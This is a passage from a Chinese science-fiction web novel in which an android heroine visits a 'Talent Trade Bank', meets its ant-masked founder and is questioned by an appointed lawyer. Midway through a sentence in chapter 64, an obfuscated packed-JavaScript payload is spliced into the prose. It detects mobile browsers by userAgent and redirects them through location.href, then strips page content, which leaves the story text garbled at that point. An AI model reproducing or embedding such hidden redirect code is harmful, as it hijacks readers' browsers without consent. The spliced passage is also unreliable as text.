“啊——对。因为我刚才说的故事。”姜原答道。“因为我刚才说的故事。”但他此刻想的并不是他临时编出的谎言。而是那个真正促使他留在学院的原因。那些绿色的屏幕背后,隐藏的秘密。 姜原不由得伸手去摸他衣袋里的那两枚银蛇戒指。希望他回到学院那一天可以尽快到来。 “哼。你刚才的眼神不错。” “啊?什么?” “你刚才的眼神不错。我差点就以为,你真的相信自己编的那个拙劣故事呢。”还不等姜原回答,郑小楼又说:“我们走吧。吃完饭还能休息一会。今晚还要开一夜的船。” 63.雾气弥漫的城市03 她在浓雾中不断地奔跑。 她不知道自己该往哪里去,也不知道自己到底在哪里,但她的脚步却不曾停下。浓雾就像蚕丝一样包裹着她,雾气越来越浓,越来越厚,她就像是被裹在一个方圆十步的蚕茧里一样。 她仍然不断跑着。一滴水打在她的脸上。又一滴。三滴四滴五滴八九十滴……雨点劈里啪啦地砸下来。她渐渐停下了脚步,仰起头,望向天空。 什么都看不见。 无穷无尽的雨水从无穷无尽的浓雾中落下来,像子弹一样打在她的身上。 周向青睁开了眼睛。 陌生的城市,陌生的旅馆,窗外接连不断的雨声。 而这雨居然进入了她的梦境。 昨天,她仓皇逃离服装店,在雾气弥漫的夜里摸索了半天之后,终于找到了一家还亮着灯的旅馆门前。她敲了半天门才把人敲出来,然后装出若无其事地样子,提出想要住店。老板看过她的账号和密码之后,马上同意了。 那老板似乎是把他理解成了离家出走的什么大人物的小姐,直接给她开了最好的房间,甚至给她找了一只原本用来装猫的笼子,让她把八哥放在里面。 而她如今就站在旅馆房间的窗前,看着外面阴沉沉、湿漉漉的街道。即便下着雨,那浓雾也只是看上去淡了一点而已。 这座城市该不会一直都是这个样子吧? 她对着玻璃窗上的自己稍微整理了一下仪容,又沾了点水杯里的水,擦去护甲上的血迹和污渍。然后戴好帽子,裹着风衣,下楼去了。 旅馆的大堂里,电视机正在播报今天的新闻。 “……虽然三角教会的一些喉舌媒体将火车爆炸的原因归咎于内部反对派的攻击,但今天又传出了不同的声音。刘正勋公开表示,他的外孙女当时就在列车上,并因袭击而受伤,一切认为他是背后主谋的谣言纯属无中生有。他手下的内务部一定会彻查这件事,高清到底是谁的阴谋。他表示,当时有一些乘客在大桥上方看到和卡比利亚之夜同样的飞艇,所以绝不能排除另一种可能。对此言论,复合体发言人表示……” 虽然电视里的主持人喋喋不休,但在旅馆大堂里吃早餐的人似乎并不在意敌国的□□势。他们议论的是另外一件事。 “喂,你听说了吗?昨天晚上,码头区又死了三个人。” “是,我听说都是装卸工。昨晚有一批从蚬埠过来的船迟到了,他们卸货加班到凌晨,然后就被盯上了。” “太惨了。那是不是穿风衣还是没用啊?” “不知道。他们当时刚下班,还没来得及换衣服。所以还是继续穿着吧。” “唉。你说铸造局到底干什么吃的,这都死了这么多人了。” “哼,你指望他们?那些人才不管咱们的死活。但只要你买上一台崩溃前的旧电脑,回家一按开机键,他们就开始咚咚敲门了。” “所以我只要在身上带一部上时代那什么,‘智能手机’,在被那家伙盯上的时候开机,铸造局的人是不是就会抢在我被杀前,先把我逮捕了?” “哈哈哈哈,说的好。说不定真的有可能哦。” 周向青穿过一排排用餐的顾客,跟老板本人打了个招呼。老板自己也坐在大堂里吃自家厨师做的早餐。这家旅馆上面是客房,下面的大堂是餐馆。 “请问,从这里到人才贸易银行的话,要怎么走?”她问。 还没等老板回答,旁边那些吃早餐的顾客都回过头来盯着她。周向青被吓了一跳,忙问:“怎么了?” “小姑娘,你是不是从外地来上市的?”一个客人问。 “我一个过来人,劝你不要动上市的念头,现在不比从前了,而且最近这一连串的杀人案……”另一个客人说道。 老板咳嗽了两声。“你们这些穷鬼,吵吵什么?不要小看人家啊。”他粗着嗓门骂完自己店里的顾客,对周向青说:“银行的话,离这里有点远。从这里出去往南走,一直到最大那条街上,然后再一直往东,看到一栋高楼的时候就到了。我叫辆车送你过去吧。” “谢谢,但不用了。我还想四处看看。” “好吧,随便你。反正也不是我的事情。如果你跟家里没谈好,房间我就给你留着,你住两三个月都不是事。反正都是淡季。”看来老板仍然相信她是谁家跑出来的小姐。 “哟!你这扒皮鬼,装什么大方!有本事就把我们的单也免了吧!”大堂的另一角突然有人喊道。其他客人一同哄笑起来。 老板涨红了脸,怒道:“你们懂个屁!人家可是——可是——哼,说了你们也不懂!” 客人们继续哄笑起来。店里充满了快活的空气。 周向青鞠了一躬,从店里跑了出去。 人才贸易银行是这座城市中颇有标志性的建筑。它不同于周围方正身体、四棱尖锥脑袋的塔楼,而是圆头圆脑,通体拔地而起约百层,比周围的大厦都高出一截的一个椭圆柱。更特别的是,它的形状并不是一个规整的椭圆,上下也不一般粗细,某种程度上,像是一个立着的蚕蛹,或是卵荚。 再加上,这栋大楼周围是一圈空旷的绿地,让它跟其它建筑都拉开了距离,于是看起来就更为显眼。只不过,它的内部相对更古朴一些,除了雅典式的雪白大理石雕棱圆柱,以及哥特式的金色弧形穹顶之外,还有不计其数的人手中拿着文件夹,围拢在大厅中央一块巨大的屏幕下,盯着上面一行行的数字,举起手中的纸条吆喝着:“十个A级,八千!”“六十五个B级打包,两万起!”“预收C级打包名单!三年期票!” 某种程度上说,就像是一个莫名其妙的卖场。 在大厅的另一侧,还有一群人围绕着一个高台站着,伸长脖子盯着台上的人。那人手中拿着一支小锤,在他身边的黑板上写着一个名字,还有相应的编号。台下的人群看到名字后,就举起写有价码的标牌。小锤一落,黑板上重写上一个新的名字,然后无数标牌又随之举起来。 这……真是一个特殊的银行。 周向青穿过这些嘈杂的人群,挤向大厅最深处。这一侧总算是有了一点银行的样子,两边都是柜台和玻璃窗口。只是左边一排窗口前都排着长长的队伍,而右边的窗口都是空荡荡的,看起来还是有点奇怪。 周向青走到右边的窗口前。那个窗口里坐着一个年轻人,他端着一杯茶,在头也不抬地看报纸。 周向青坐上窗口前的椅子,刚想说话,那年轻人却摇了摇手。 “价值评级的窗口在对面。”他说。 “我不是来评级的。我是——” “你不看这边都没有人吗?回去吧。就算我给你办了,将来你后悔了来闹事,我们更麻烦。”那年轻人根本不给她说话的机会。 “啊?”周向青没跟上对方的节奏。 “你不是来上市的吗?最近行情不好,抢着做大分母没有什么好处。” “我不明白你的意思。我只是想问一下……” “咨询处在那边。”那个年轻人头也不抬地,把手里的铅笔指向大厅门口。 周向青扭头看了看那边的情况。且不管咨询处是不是真的在那边,她是真的懒得穿过那群人再回去了。虽然眼前这个年轻人有些讨厌,但反正也只是一个问题的事情而已。 “你就帮个忙吧。我只是想——” “我也很忙,谢谢。”那年轻人仍旧在看他手里的报纸。 “喂,你这不是在看报纸吗?”周向青有点生气了。 “这不是报纸。是我们内部的文件。” “骗人。我能看到上面写着‘码头区又发现尸体,连环杀手再度行凶’。如果你不回答我的问题,我就去投诉你。” 年轻人叹了一口气。他放下茶杯,把报纸一叠,扔到桌上,懒懒靠上椅子的靠背,就好像周向青耽误了他大好的星期天休息一样。 “好吧,你想问什么?” 这态度,真的让人忍无可忍。“你们这个人才贸易银行到底是干什么的?你又是干什么的?明明客人已经——” “游客可以去门口领导游手册,那上面有介绍。”年轻人又伸手去拿报纸。 “但我是要查人!” “查人口应该去民政局。” “但我查的是你们银行账户里的这个人!”周向青把她昨天从服装店店长那里要来的纸条拍在柜台上。 “按照保密条例,想得到上市人员的个人信息,必须提前三天提出……你从哪拿到这个的?”那年轻人的视线扫到周向青的纸条后,身体直接从椅子上弹了起来,抓起凭条,举到自己鼻子前。“他居然上市了?而且还是第一批。天呐。我都不知道。”他打开旁边的紫外线灯,把凭条伸过去照了照。“这水印没错,不是假的。他居然真的上市了?你从哪拿到的这个?” “这是我账户里的。” “你?我不相信。不可能。”年轻人失望地坐了回去,刚才那股精气神一下子都漏光了。 “那你就查啊。用你那个键盘,还有黑箱子,你就查呀!”周向青道。真是的,她本来就是来干这个的,结果还搞得这么费劲。 年轻人半信半疑地递出键盘,让周向青输入账户和密码。他的打印机咯吱咯吱响了起来,打印出一张更宽的纸条,上面的信息似乎远比外面商店里的详细。 “天啊。他居然真的上过市。我还以为那是胡说的。他自从上市以后,从来没有参加过价值评级。所以你不可以用他直接交易。可……可是你到底是什么人?”那个年轻人一脸诧异地挠着自己的头发。 “无所谓。本来我也不打算交易。我就是想知道,这个易谦明是谁,他在哪?” “你不知道他是谁?”年轻人呆住了。 “对。我不知道。”周向青答道。这么简单的问题,就不能快说?这家伙到底是什么人?怎么好像就每个人都应该知道似的? 年轻人睁大眼睛,身子却慢慢地往后缩去。他的右手仍然举着那张凭条,但左手却一寸一寸地伸向桌子旁边的电话。 他看上去就像鬼鬼祟祟地要通知什么人。 周向青的左手猛地捅进柜台,一把揪住了那年轻人的衣领。“别乱动。我只想知道这个人是谁,不想用这种姿势掐死你。” “我……我也没怎么啊!你问的这个人,他——他就是我们、我们的大老板!我就是给上级打个电话——”年轻人挣扎着喊道。 “啊?”这回是周向青呆住了。她松开了手。 年轻人拿起电话,按下一个键,说了几句话。 不多时,一个管家似的老年人出现在周向青眼前,他右手按在胸前,左手背在身后,优雅地鞠了一躬。 “请您跟我来吧。易先生想见你。” 电梯缓缓上升。 这架电梯是专门为内部人员装设的,它没有1-50层的按钮,而是直接通往50层以上。透过透明的电梯井,周向青可以看到交易场中的人头涌动,可以看到每一层的办公室门开开合合,可以看到整个人才贸易银行每分每秒都在有条不紊地运行。 设计这部电梯的人,一定非常喜欢居高临下睥睨众生的感觉。不过,他也的确有这个资本。 但他显然不喜欢让自己的事情被人看到。 电梯到达50层后,那种开阔的视野瞬间结束,周向青眼前的一切都没入了黑暗。灯光亮了起来,仅仅能够照亮电梯内部。一阵陆陆续续的震动和奇怪的噪音之后,电梯继续向上方的黑暗爬了7层,然后才停了下来。 57楼。 老人陪着周向青走出电梯。 这里并不像是办公,也不像是会客的处所。因为这一层没有房间,到处都封得严严实实,甚至连天花板上都没有吊灯。只有脚边的一列黯淡的绿色安全通道灯,指引他们通往黑暗的楼层深处。 这实在不像是正常的会客场所。 他们走到那绿色的灯光末端,终于看到了一扇门。老人推开门扇,伸手请周向青进去。 周向青并不敢迈动脚步。这房间有些太奇怪了。 “阿福?你带她来了?”里面传来了一个闷闷的声音,听起来怪怪的。 “是。我带她来了。” “那你可以走了。然后准备一下刚才说的东西。”那个闷闷的声音说。 “是的。”叫做阿福的老人转身就走。 “请进来吧。虽然有点暗,但是如果光线太强就会刺激到它们。”那人对周向青说。 “它们?它们是什么?” “你进来吧。进来就看到 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“对。随处可见,数量众多,非常迷人的小东西。”那人举起提灯,贴近前面的玻璃柜。从这里可以看到蚂蚁挖掘出来的坑道蜿蜒通向各种腔室,有的里面装满了白色的蚂蚁卵,有的是蚁后,有的是待命中的兵蚁。蚂蚁们似乎并不知道有两个庞然大物正在旁边看着它们,只是兢兢业业地忙着自己的工作。 “所以这就是你的兴趣吗?” “嗯——兴趣这个词可能不太贴切。我也曾经想过这个问题,但最后觉得没有一个能够承担我和蚂蚁之间的关系。所以不如说得简单一些。我看蚂蚁。这样就够了。” 真是一个奇怪的家伙。但周向青并不打算深究对方的蚂蚁情结。她在来这里之前满心困惑,但真的见到对方之后,却又不知如何问起。 对方似乎感知到了周向青沉默的原因。“我知道你想问什么。为什么这个账户上有我的名字,为什么账户上是名字而不是钱,为什么他们好不容易抓到你这个卡比利亚的圣女,却在看到你拥有这个账户之后,就简简单单地把你从那个铸造局里放了出来。” “……是。大概就是这样的。”周向青本想问他为什么知道这些,但她又觉得,如果这个易谦明是大人物的话,知道这些事还是挺正常的。 “这些问题回答起来很简单,但想回答好又很复杂。我想,我还是先说简单一些吧。账户上有我的名字是因为这个账户‘拥有我’。账户上是名字而不是钱,是因为真正有价值的是人本身,而不是身外之物。他们之所以把你放出来,是因为我是这里最有势力的人……之一。” 周向青听得一头雾水。这些答案的确是她问题的答案,但又相当于什么都没有回答——因为她自己也能猜到这些。但仅仅是猜到这些,根本不能解释为什么会出现这种情况。 “呃……我是想知道,为什么……”周向青觉得有点难把自己的疑问提出来。 “你有看过蚂蚁吗?”易谦明问道。 “没有。” “嗯。那真是你的损失。因为某种程度上,蚂蚁、黄蜂这种社会性昆虫,就是人类社会的一个完美缩影。当然很早之前就有人提出了这个看法,但他们找错了重点。他们只是把黄蜂蚂蚁的分工粗糙的对应人类的分工,把蚁后、蜂后对应人类的首领。但这种认识是错的,没有什么意义。有意义的是,单只黄蜂、单只蚂蚁对整个社会没有完整的概念,但它们仍然形成了整个虫群的一部分。而人类对自己的社会同样没有完整的概念,但他们仍然形成了人类社会的一部分。这告诉我们,我们不是我们以为的东西,我们是我们创造的东西。” “所以呢?”周向青有点无奈。她没想到在如此高大的建筑中,住着一个迷恋如此细小生物的狂人,不,应该说,变态。 “所以我希望让所有人都意识到这一点。我开办了人才贸易银行。这座银行不以金银、货币这种不能创造之物为贸易对象,而是直接用能够创造之物——人,来交易。” “但这不是贩卖人口吗?”周向青惊问。 “人才贸易才不是贩卖人口那种低劣的东西。历史上的人口贩卖是把人当作牲畜一样,一面用皮鞭逼迫其工作,同时夺走他创造出的所有价值。而人才贸易恰恰想反。我们跟据每一个人所创造的价值,来定义这个人的价值,并给与相应的投资,使其创造出更多价值,让整个社会得到回报。我不是奴隶主,我无意于夺走每个人的造物。我只是籍此让人们意识到,是人在创造一切。我以此,让我们回归本源。没有人劳动的社会,毫无意义。” 周向青有点迷惑了。她觉得易谦明的话挺有说服力,但又觉得似乎有哪里不太对。“我还是不太明白这是怎么一种情况。如果每个人的名字都被拿到市场里交易的话,那不会乱七八糟吗?” “不会的。这个流程是这样:一个人决定上市之后,我们会给其做一个价值评级,然后有意图的人会购买他的名字,为其提供与评级相应的资金,或是岗位,或是别的什么东西。这个人在一个价值周期之后,偿还资金以及相应的评级附加值,并重新进入评级。而他名字的拥有者可以在价值周期未结束之前,跟据期望以一定金额转让这个名字,以提前获得补偿,或者减少损失。具体的交易的细节当然还有更多规则,但你也可以看到,我这一套运行得相当不错。我自己甚至都是最早上市的一批。只不过,持有我名字的人没有把我投入交易,我也没有再参与价值评级。” “为什么?” “不知道。我们自那以后,就没有再见面了。” 周向青心中泛起一丝凉意。但她还是再问了一句:“你知道他的名字吗?” “我不知道他的真名。他自称他的名字是马德兰。他的账户也是匿名账户——因为当时有些人不愿意用真名进行交易,我就增设了这个账户类型。” 马德兰?周向青没听过这个名字。但“那个人”在教会叫帕西瓦尔,在学院叫弗莱,那么在公司叫马德兰,也没什么问题。 但周向青还是想更确认一下。“那,你知道他是什么样子吗?他是不是戴着这样一顶帽子?” 易谦明把灯举了起来,高过周向青的头顶。“对,他是戴着——” 周向青发出一声惨绝人寰的尖叫。 因为易谦明的肩上没有人头,取而代之的是一个巨大无比的蚂蚁脑袋。 64.雾气弥漫的城市04 “喂喂,你别叫那么厉害啊。吓了我一大跳。”那大蚂蚁瓮声瓮气地说。“这不过是个头套而已。你看。” 他伸手捏了捏那个蚂蚁头,居然是软的。而他的声音也是通过蚂蚁头上的一个喇叭传出来的,难怪听起来不像正常人。 “你、你还说我吓了你一大跳?你干嘛在这么暗的地方还戴着这玩意?” “那只是你觉得暗而已啊。我这里面有夜视设备。”他敲了敲蚂蚁眼睛的位置,发出咚咚的响声。 “你……你真是……奇怪。”周向青无言以对。大概有钱人都是这么有病吧。 但这个怪人似乎并不在意周向青的看法。“这很奇怪吗?头套也只是某种形状的帽子罢了。为什么人可以戴帽子走来走去,却不能戴着头套走来走去呢?而且,马德兰的确是不分日夜都戴着你那顶帽子。如果它是红色的话。夜视仪看不出颜色。但图案没错,宇宙飞船上面有一道闪电。我还记得当时我问他,为什么总戴着这个帽子。他说,那是崩溃前的一部片子的纪念品,是他父亲的父亲传给他的。我记得是什么……‘飞到未来’之类的。总之,是个奇怪的家伙。” 周向青无言以对。 “不过,也是马德兰在我最开始、最艰难的时候,给我提供了最需要的帮助。当时我一文不名,也根本没有人相信我的想法有价值。只有他说,有意思,你去干吧。可以说,没有他,就没有今天的我。所以在成立人才贸易银行的那天,我把自己的名字存在账户里,给他作为报答。但他也从来没有兑现,反倒是一去不回。后来他失踪了。而你拿到了这个账户。他们今天通知我的时候,我也很惊讶。没想到,新闻里卡比利亚的圣女,跟他还有联系。” 还并不等周向青提问,易谦明已经把她想要问的答案说了出来。 “所以你不知道他在哪里?”周向青大感失望。 “不知道。我已经很多年没见过他了,也不知道他的近况。话说回来,你既然戴着他的帽子,那么你和马德兰的关系肯定不一般。如果连你都不知道的话,那别人就更不知道了。不过真是没想到,卡比利亚的圣女居然是个仿生人,而且还跟马德兰有关系。董事会好像打算审判你,是吧?” 没想到易谦明知道的事情还真不少。 “我才不是什么圣女。我也不受他们审判。”周向青说。 “董事会可不会管你怎么想。不过这样的话,你这段时间最好留在我这里。我让阿福给你开一间客房,一会你可以跟他——” “不用!不用了。”周向青打了个颤。她才不想跟这个蚂蚁怪物住在这个全是蚂蚁的地方。 “别这么快就拒绝别人的好意,”易谦明说,“而且我也不接受你的拒绝。反正,房间一定会给你留着。待会儿阿福会把其它的东西给你。现在你去忙吧。我还想继续看蚂蚁。” 真是一个怪人。 周向青沿原路返回电梯。之前的那个老年人,阿福,正在等她。阿福的手里端着一个托盘,里面有一张名片和一张带有黄铜金属条的卡片。 “这是什么?”周向青问。 “这是易先生的一点心意。他希望您用这个账户进行日常消费,您这段时间里的任何用度,都由他一并承担。而且,凭这张卡,您可以直接来这里见他。跟楼下随便哪个职员说一声就行,我马上下来接您。或者,也可以直接来搭这部电梯。” 她倒是的确需要这个。周向青挠了挠头,把那名片和卡片都收了下来。反正易先生这么有钱。 “那个人”并没有给她留下钥匙卡。大概是被他毁掉了,因为不想落在另一个人手里。但易谦明送给他的账户,就一直静静在他手中躺了这么多年,一直到今天。那个人似乎从未考虑过使用这笔巨款,即便在最后也仅仅把它当作一种信息。周向青有点不太理解“那个人”跟易谦明到底是什么关系。 而且上两次的线索,无论是视网膜数据库里面隐藏的照片,还是胖球脚环里的账号和密码,都有一个明确的指向。但这次的线索只到易谦明这个人为止,却既不是最终的答案,也没有下一步走向哪里的提示。 她感觉自己的线索断了。 “请问,您接下来要到哪里?我好安排您的座驾。”阿福问。 目前除了按照黄承安说的,去那个号牌上的负责处理她“案子”的房间之外,似乎无事可做。 但凭什么让她自己去啊?是他们要审判她不是么?她不去又能怎样? 但她还是去了。 不是因为别的,而是因为她实在不知道自己在这个陌生的地方能干什么。 如果姜原还在的话,她或许还可以征求一下意见。但现在她就只剩自己了。 她的确只剩下自己……吗? 周向青拿出了昨晚黄承安给她的号牌,给阿福看。“你知道这是什么吗?” “这是铸造局的分管编号。嗯,号码我记下了,稍后我会跟负责你案子的人打个招呼。会有人关照你的。”阿福说。 “会有人关照我吗?”周向青问。 “在这里,所有人都得卖易先生一个面子。”阿福答道。 ### 这真是一座诡异的城市。 厚厚的浓雾将所有东西都遮蔽起来,把所有人都隔进一个个的房间里,谁都看不到谁,只有靠近了之后才意识到彼此的存在,然后微微一点头后便又从对方的世界中消失。而且雨依然在淅淅沥沥下个不停,空中简直连一点阳光都没有。 而那被众人吐槽的,“可控自动化铸造局”的金字招牌就在她面前的浓雾中默默伫立着,像是早已料到她会归来。 这里似乎并没比昨晚更有人的气息。如鱼骨般的走廊中既没有人声,也不见人影,一扇扇写着号码的房门都紧闭着,只是那磨砂玻璃后似乎有黑影隐约晃动,任由浑黄的灯光决定这里的主色调。昨晚负责登记的白胖子似乎已经下班,是另一个不认识的人坐在柜台后,正在打瞌睡。 周向青找到了她号牌上的BSA681这个房间。它看上去与其它的房间并无不同,根本配不上她“卡比利亚圣女”尊贵的头衔。她有点困惑。公司到底重不重视她的事情?如果不重视,为什么要把她抓过来?如果重视,为什么她没有感到任何一点重视的感觉? 而且昨天的柳怀石,现在又在哪里? “我感觉你们根本就没有意识到问题的性质。上面把这么重要的人交到你们手里,然后你们居然能把她放跑了,这不是一句照章办事就能算了的。” 她面前的房间里有人的声音。而且这个声音听起来居然是……柳怀石。 “首先,跟据规定,所有第一次被拘捕的人都有保释的机会,只除了全部78种死刑相关的罪名。而她不属于其中任意一种。我们还没有一条‘圣女罪’。如果有这条罪状,你再跟我叫板也不迟。” “哼,你知道什么叫‘特事特办’吗?像你这样,干了这么多年还在第一线的——” “我当然知道。而我正是在‘特事特办’。我不是不知道你背后是谁,也不是不知道你想干什么。但你知道她的人贸账户里是谁吗?” “谁?” “是易谦明。” 在说出这个名字时,那人已经掩饰不住得意的语气。 柳怀石沉默了。 “昨晚把这件事报上去之后,经过董事会的电话会议,刚刚才决定把这个案子分给我。所以如果你一味质疑我的能力,就是在质疑特别董事会的决定。”那人顿了顿,又换了一套温和的说辞:“再说了,目前的局势尚不明确。决策层也在整理这件事对我们有可能的影响。就我个人的推测,他们目前并不想公开审判。而且就在你上门之前,易谦明还亲自打来电话,说他也在‘关注’这个案子。所以你就老实等着吧。” 房间里椅子一响,大概是柳怀石站了起来。“那她现在就在易谦明那里吗?” “大概是的。” “好。” 房门打开,四目相对。 柳怀石一愣,让开身子,说:“进来吧。” BSA681号房间要比外面看上去大一点。一张宽宽的写字台把房间分成两部分,这边摆着两张靠背椅,而另一边则是一个满头白发的老年人。他看起来有点像阿福,但脸上有更多风霜的痕迹。 “你就是周向青?请坐。”那老人伸出手来。 周向青就在靠背椅上坐下。椅子吱吱有声,感觉上就跟这屋子的主人一样上了年头。 “我就是可控自动化特别董事会指定给你的负责人。我姓曹,名文道,负责在此案中保障你的权利。某种程度上,算是你的律师,只不过是公派的。别看我有点年纪,那是由于你的案子情况复杂,董事会觉得让有经验的人来比较好。我希望你也能相信我。如果我们合作的话,一定能够让你重获自由。” 柳怀石摇了摇头。“你可真是能胡说八道。” 名叫曹文道的老人并不理睬柳怀石,而是继续对周向青说:“周小姐,虽然我已经阅读过本案的卷宗,但说实在的,我们几乎不掌握你的情况。感觉上,你就是从地里突然蹦出来的,尤其是这段视频,让我有点难以相信。” 曹文道拿出一个遥控器,对着屋角的电视一按。 电视上现出了卡比利亚那天早上的画面。人群包围着形成球状的圣女草,有人跪在地上,有人焦虑地走来走去。一段时间后,圣女草的叶片缓缓绽开,露出里面周向青的双脚,然后是整个身体。人们无声的涌动、欢呼起来。在场的一些骑士尽力把激动的人们向后推去。 视频画面就在这里戛然而止。 “我想问,这是真的吗?”曹文道问。 “大概是吧。我是在里面,不是在外面,我也不知道外面看起来是什么样子。”周向青答道。从另一个视角去看自己,感觉怪怪的。 “原来如此。所以你认为,仿生人与活化机械可以连接、融合?” “我不知道。或许我跟圣女草是连接了,但……我仍然是我。” 曹文道点了点头。“真有意思。我还想多了解一下你的情况。这表格上说,你是大崩溃前的仿生人?” “对。” “你经历了大崩溃,居然现在还能正常行动,是为什么呢?是有人为你做了人工智能系统恢复吗?” “我……我不知道。我没有任何相关的记忆。”周向青回答。 “但你知道你是大崩溃前的仿生人。” “我是2077年8月15日4点52分39秒,嘉宁绿岸电子装配厂3号流水线,检测员6号签字通过的。” “但你不是说,你没有相关的记忆吗?” “我不记得。我只是知道。” 柳怀石突然纵声大笑起来。“这么重要的事情,居然交给像你这样的人!委员老爷,真有你们的!哼。我要走了。” “请便。”曹文道冷冷回答。 柳怀石摔门而去。 “我们不用管他。他只是得不到想要的东西,气急败坏罢了。”曹文道说。 “他想要什么?” “他想知道什么时候进入公开起诉程序。” “为什么?”周向青有点惊讶。在飞艇上的时候,柳怀石对她还挺温和的呢。 “他有自己的目的吧。这帮学院出来的家伙都是这样,自私自利,自行其是,根本就没有规则章程的概念,只是自己想怎么就怎么,事情跟自己想的不一样,就像没吃到糖的小孩一样嗷嗷大叫,乱发脾气。真是幼稚得可以。”曹文道狠狠抱怨了一阵。“好啦,我们继续核对信息吧。你刚才说,你没有相关的记忆,那么你记得的最早一件事,大概是什么时候?” 周向青仔细想了想。她记忆最清晰的,就是她在废坑边上工作的那段时间。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213345|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总有一些影子在她的脑中绕来绕去,鲸鱼、说话的人影、黑漆漆的液体。她以前不会这样的。大概是浸泡在电离胶里产生的影响。她不知道那些影子到底是真实的记忆,还是她的想象。她最后答道:“三年零一个月六天前,我早上醒来,发现自己在废坑边的小房车里,然后我就去上班了。大概这样。” “废坑边的小房车?” “是。环运城中的6号废坑。” “那你是怎么到卡比利亚去的?” 无聊的问题一个接一个。不论周向青说了什么,曹文道的态度永远是:“原来如此”,“很有意思”,“然后呢”,然后把她说的事情记在纸上。她也懒得跟这样一个人说什么谎,只是随口回答。他不问的,她便不说。随便他去拼凑吧。 她真的不耐烦做这档事。 难道她真的在乎什么审判?她才不在乎。她在乎的只有“那个人”留给她的信息。但这一次的信息实在太模糊,只有一个人的名字而已。而且易谦明已经多年没有跟“那个人”有过交集。她又能从他身上得到什么呢? 曹文道又在问了:“所以,你为什么要替卡比利亚的人作战呢?” 她灵机一动。“易谦明是个什么样的人?”她反问。 “你问这个干什么?现在我们是在核对你的信息,而不是说些有的没的。”曹文道颇感不快。 “如果你不回答我的问题,那我也不回答你的问题。” “你这话没什么道理。但我只答一次,然后就请你配合我的工作,好吧。易谦明先生是复合体治下最有影响力的……普通公民,而且他的影响力还有越来越大的趋势,就连董事会也很尊重他的意见。够了吗?所以能不能——” “所以你们是顾及他的面子。但他到底是什么人?” “我不明白你是什么意思。你的账户里有他,你应该比我清楚才对。虽然我不记得易谦明先生参加过价值评级审查……但你也应该比我清楚才对。毕竟他是在你的账户里。当然,我也对你跟易先生的关系很感兴趣,比如,你这个账户是从哪里来的。但易先生本人似乎不在意这件事,所以我也不打算多问。” “你别问就对了。你先回答我的问题。” “但你为什么要问这种跟案子毫不想关的事情呢?难道你不想早点结束审判,从这里出去?” “我想。所以我才要问。我不住在这里。我谁也不认识,什么也不知道。但你年纪这么大,经验丰富,你知道。所以,他到底是什么人?” “我觉得我们没有必要去纠缠这些事情。审判的重点并不在于……” “你、先、回答我的问题。”周向青把左手按在桌面上。 曹文道一愣,他抬头看了看周向青的表情,然后看了看她空荡荡的右边袖筒,叹气道:“好吧。希望我回答过这个问题之后,我们能回到正题上来。还有,我知道的也只是一些流言蜚语,我没有真的做过调查。” 曹文道呷了一口水,清了清嗓子,才说道:“易谦明是大概十年前——可能不到十年——大概八九年前,突然崛起的一个家伙。我听人说,他起初是一个期货市场的经纪人,然后某一天,他突然开始给同行放贷了。 “他的贷款利率要比银行低一些,金额上限是基于他对同行能力的‘打分’。虽然不知道他从哪里来的钱,但似乎是源源不断。而且他对同行的投资,基本都有很稳定的回报,所以关于他的名声渐渐就传开了。有人找他借钱,也有人向他投资。起初只是风险投资圈子,后来扩大到其它行业。不知道为什么,似乎他的投资从来没有失败过。他看中的人,没有一个是做事不成功的。这就使得,虽然他贷款的利率比任何一家银行低,但回报率却比任何一家银行都高。” “他的眼光就那么准吗?”周向青问。她有点不太相信,那个躲在高楼大厦里面养蚂蚁的人,能有这么厉害。 “我不知道。但人们就是这么说。反正,找他借款的人源源不断地慕名而来,甚至不少人从复合体的犄角旮旯不远千里赶到这里,就是为了让他看一眼。大概是第5年吧,他开办了‘人才贸易银行’,每个人都可以去他的银行‘上市’。所谓‘上市’就是,他会跟据每个人的回报可能进行‘价值评级’,然后给与其相应的投资。一夜之间,人贸银行的分行开遍了整个复合体控制的大城市。无数人赶往银行参与上市,希望能够拿到一个属于自己的评级,用第一笔资金闯出一个名堂。” 曹文道说到这里,叹了一口气。“当时所有人都意气风发,兴致高昂,只不过……后来味道就不一样了。” “那当然了。肯定不是所有人都能成功啊。”周向青说。 “不是成功不成功的问题。而是……‘价值评级’这件事。价值评级虽然名义上只是‘投资回报价值等级评估’,类似于给债务和期权评级的意思,但实际上并不止影响一个人的——算了,其实也没什么好说的。”曹文道说到这里,突然剪断了自己的话头。 “总之,易谦明的银行越开越大,最后已经不是易谦明本人在投资那些上市的人,而是他直接控制了整个复合体大部分资金的流向。人们把钱交给他,他再把钱交给那些上市的人,在下一个价值评级周期收回利润。三年前,他全面放开了人才贸易,人们可以相互交易自己投资的回报权利,直接导致一定程度上,人才贸易银行的‘人才名单’取代了钞票。 “跟随价值评级周期的记账和平账取代了比较大额的交易,只有小额交易才使用复合体之前发行的纸钞。易谦明也就变成了复合体最有权势的人。只不过,他迟迟没有加入复合体的董事会。但大家觉得,那是早晚的事。毕竟,他对复合体的影响力已经超过了各大董事们。 “总之,易谦明和他的人才贸易银行,已经成了这个国家最不可忽视的一股力量。” 就那个蚂蚁怪人吗?周向青真的意想不到。 65.雾气弥漫的城市05 周向青慢慢咂摸着曹文道故事的余味。 她没想到那个蚂蚁怪人,居然有这么一段历史。 而曹文道的话,跟易谦明自己所说的内容正好相互印证,的确是“马德兰”提供了易谦明借以发家的第一批放贷资金。有这种情分,易谦明把自己名字的账户赠给“那个人”,的确是顺理成章的事情。但是,如果二人仅仅是金钱往来,并不足以指向下一条信息。 她记得曹文道刚才说过,易谦明是在三年前放开了人才贸易,让他的价值评级账户直接取代了货币的地位。但“三年前”这个时间,也正是“那个人”到访卡比利亚,随后失踪的时间点。其中必定有什么奥妙。 